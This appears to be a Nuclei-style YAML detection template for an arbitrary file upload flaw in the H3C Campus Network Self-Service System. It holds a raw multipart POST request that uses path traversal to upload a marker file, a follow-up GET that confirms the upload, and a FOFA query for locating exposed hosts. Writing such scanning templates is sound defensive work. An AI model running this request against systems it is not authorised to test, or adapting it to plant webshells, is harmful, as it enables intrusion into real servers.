45 lines
1.8 KiB
YAML
45 lines
1.8 KiB
YAML
id: h3c-cnsss-arbitrary-file-upload
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info:
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name: H3C CNSSS - Arbitrary File Upload
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author: securityforeveryone
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severity: critical
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description: |
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H3C-Campus Network Self-Service System vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
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reference:
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- https://github.com/wy876/POC/blob/main/H3C-%E6%A0%A1%E5%9B%AD%E7%BD%91%E8%87%AA%E5%8A%A9%E6%9C%8D%E5%8A%A1%E7%B3%BB%E7%BB%9Fflexfileupload%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
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metadata:
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verified: true
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max-request: 1
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fofa-query: header="/selfservice"
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tags: h3c,lfi,instrusive,file-upload
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variables:
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filename: "{{rand_base(10)}}"
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num: "{{rand_int(1000, 9999)}}"
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http:
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- raw:
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- |
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POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=---------------WebKitFormBoundaryMmx988TUuintqO4Q
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-----------------WebKitFormBoundaryMmx988TUuintqO4Q
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Content-Disposition: form-data; name="{{filename}}.txt"; filename="{{filename}}.txt"
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Content-Type: application/octet-stream
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{{md5(num)}}
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-----------------WebKitFormBoundaryMmx988TUuintqO4Q--
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- |
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GET /imc/primepush/%2e%2e/flex/topobg/{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2,"{{md5(num)}}")'
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- 'status_code_1 == 200 && status_code_2 == 200'
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condition: and
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# digest: 4a0a0047304502205836c3d82803a98ff40be994639c0ef0f831eb261dfb10a38f18d5d9d3c23d7c022100a587e41930c55e90af6b816c3a978203b9a4e359d522fb0a9d3897b3a8d3c541:922c64590222798bb761d5b6d8e72950 |